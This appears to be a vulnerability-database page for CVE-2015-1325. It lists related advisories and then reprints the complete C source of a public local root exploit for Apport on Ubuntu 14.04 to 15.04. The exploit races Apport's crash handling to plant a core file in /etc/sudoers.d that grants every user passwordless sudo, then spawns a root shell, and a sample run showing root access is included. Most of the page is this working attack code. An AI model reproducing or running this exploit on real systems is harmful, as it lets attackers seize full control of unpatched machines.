| Reporter | Title | Published | Views | Family All 14 |
|---|---|---|---|---|
| Apport Local Elevation of Privilege Vulnerability | 26 May 201500:00 | – | cnvd | |
| CVE-2015-1325 | 25 Aug 201718:00 | – | cve | |
| CVE-2015-1325 | 25 Aug 201718:00 | – | cvelist | |
| EUVD-2015-1466 | 7 Oct 202500:30 | – | euvd | |
| Apport (Ubuntu 14.0414.1015.04) - Race Condition Privilege Escalation | 23 May 201500:00 | – | exploitpack | |
| CVE-2015-1325 | 25 Aug 201718:29 | – | nvd | |
| Ubuntu: Security Advisory (USN-2609-1) | 9 Jun 201500:00 | – | openvas | |
| UBUNTU-CVE-2015-1325 | 21 May 201517:00 | – | osv | |
| USN-2609-1 apport vulnerabilities | 21 May 201517:08 | – | osv | |
| Race condition | 25 Aug 201718:29 | – | prion |
/*
# Exploit Title: apport/ubuntu local root race condition
# Date: 2015-05-11
# Exploit Author: rebel
# Version: ubuntu 14.04, 14.10, 15.04
# Tested on: ubuntu 14.04, 14.10, 15.04
# CVE : CVE-2015-1325
*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*
CVE-2015-1325 / apport-pid-race.c
apport race conditions
ubuntu local root
tested on ubuntu server 14.04, 14.10, 15.04
core dropping bug also works on older versions, but you can't
write arbitrary contents. on 12.04 /etc/logrotate.d might work,
didn't check. sudo and cron will complain if you drop a real ELF
core file in sudoers.d/cron.d
unpriv@ubuntu-1504:~$ gcc apport-race.c -o apport-race && ./apport-race
created /var/crash/_bin_sleep.1002.crash
crasher: my pid is 1308
apport stopped, pid = 1309
getting pid 1308
current pid = 1307..2500..5000..7500..10000........
** child: current pid = 1308
** child: executing /bin/su
Password: sleeping 2s..
checker: mode 4532
waiting for file to be unlinked..writing to fifo
fifo written.. wait...
waiting for /etc/sudoers.d/core to appear..
checker: new mode 32768 .. done
checker: SIGCONT
checker: writing core
checker: done
success
# id
uid=0(root) gid=0(root) groups=0(root)
85ad63cf7248d7da46e55fa1b1c6fe01dea43749
2015-05-10
%rebel%
*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*
*/
#include <stdio.h>
#include <stdlib.h>
#include <sys/types.h>
#include <signal.h>
#include <sys/mman.h>
#include <sys/syscall.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <sys/resource.h>
#include <unistd.h>
#include <string.h>
#include <sys/wait.h>
char *crash_report = "ProblemType: Crash\nArchitecture: amd64\nCrashCounter: 0\nDate: Sat May 9 18:18:33 2015\nDistroRelease: Ubuntu 15.04\nExecutablePath: /bin/sleep\nExecutableTimestamp: 1415000653\nProcCmdline: sleep 1337\nProcCwd: /home/rebel\nProcEnviron:\n XDG_RUNTIME_DIR=<set>\nProcMaps:\n 00400000-00407000 r-xp 00000000 08:01 393307 /bin/sleep\nProcStatus:\n Name: sleep\nSignal: 11\nUname: Linux 3.19.0-15-generic x86_64\nUserGroups:\n_LogindSession: 23\nCoreDump: base64\n H4sICAAAAAAC/0NvcmVEdW1wAA==\n U1ZgZGJm4eLicvTxUQBiWw0goang5x/gGBwc7mIFEuMCAA==\n";
/*
last line is the stuff we write to the corefile
c = zlib.compressobj(9,zlib.DEFLATED,-zlib.MAX_WBITS)
t = '# \x01\x02\x03\x04\n\n\nALL ALL=(ALL) NOPASSWD: ALL\n'
# need some non-ASCII bytes so it doesn't turn into a str()
# which makes apport fail with the following error:
# os.write(core_file, r['CoreDump'])
# TypeError: 'str' does not support the buffer interface
t = bytes(t,'latin1')
c.compress(t)
a = c.flush()
import base64
base64.b64encode(a)
# b'U1ZgZGJm4eLicvTxUQBiWw0goang5x/gGBwc7mIFEuMCAA=='
*/
int apport_pid;
char report[128];
void steal_pid(int wanted_pid)
{
int x, pid;
pid = getpid();
fprintf(stderr,"getting pid %d\n", wanted_pid);
fprintf(stderr,"current pid = %d..", pid);
for(x = 0; x < 500000; x++) {
pid = fork();
if(pid == 0) {
pid = getpid();
if(pid % 2500 == 0)
fprintf(stderr,"%d..", pid);
if(pid == wanted_pid) {
fprintf(stderr,"\n** child: current pid = %d\n", pid);
fprintf(stderr,"** child: executing /bin/su\n");
execl("/bin/su", "su", NULL);
}
exit(0);
return;
}
if(pid == wanted_pid)
return;
wait(NULL);
}
}
void checker(void)
{
struct stat s;
int fd, mode, x;
stat(report, &s);
fprintf(stderr,"\nchecker: mode %d\nwaiting for file to be unlinked..", s.st_mode);
mode = s.st_mode;
while(1) {
// poor man's pseudo-singlestepping
kill(apport_pid, SIGCONT);
kill(apport_pid, SIGSTOP);
// need to wait a bit for the signals to be handled,
// otherwise we'll miss when the new report file is created
for(x = 0; x < 100000; x++);
stat(report, &s);
if(s.st_mode != mode)
break;
}
fprintf(stderr,"\nchecker: new mode %d .. done\n", s.st_mode);
unlink(report);
mknod(report, S_IFIFO | 0666, 0);
fprintf(stderr,"checker: SIGCONT\n");
kill(apport_pid, SIGCONT);
fprintf(stderr,"checker: writing core\n");
fd = open(report, O_WRONLY);
write(fd, crash_report, strlen(crash_report));
close(fd);
fprintf(stderr,"checker: done\n");
while(1)
sleep(1);
}
void crasher()
{
chdir("/etc/sudoers.d");
fprintf(stderr,"crasher: my pid is %d\n", getpid());
execl("/bin/sleep", "sleep", "1337", NULL);
exit(0);
}
int main(void)
{
int pid, checker_pid, fd;
struct rlimit limits;
struct stat s;
limits.rlim_cur = RLIM_INFINITY;
limits.rlim_max = RLIM_INFINITY;
setrlimit(RLIMIT_CORE, &limits);
pid = fork();
if(pid == 0)
crasher();
sprintf(report, "/var/crash/_bin_sleep.%d.crash", getuid());
unlink(report);
mknod(report, S_IFIFO | 0666, 0);
fprintf(stderr,"created %s\n", report);
usleep(300000);
kill(pid, 11);
apport_pid = pid + 1;
// could check that pid+1 is actually apport here but it's
// kind of likely
fprintf(stderr,"apport stopped, pid = %d\n", apport_pid);
usleep(300000);
kill(pid, 9);
steal_pid(pid);
sleep(1);
kill(apport_pid, SIGSTOP);
checker_pid = fork();
if(checker_pid == 0) {
checker();
exit(0);
}
fprintf(stderr,"sleeping 2s..\n");
sleep(2);
fprintf(stderr,"writing to fifo\n");
fd = open(report, O_WRONLY);
write(fd, crash_report, strlen(crash_report));
close(fd);
fprintf(stderr,"fifo written.. wait...\n");
fprintf(stderr,"waiting for /etc/sudoers.d/core to appear..\n");
while(1) {
stat("/etc/sudoers.d/core", &s);
if(s.st_size == 37)
break;
usleep(100000);
}
fprintf(stderr,"success\n");
kill(pid, 9);
kill(checker_pid, 9);
return system("sudo -- sh -c 'stty echo;sh -i'");
}Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation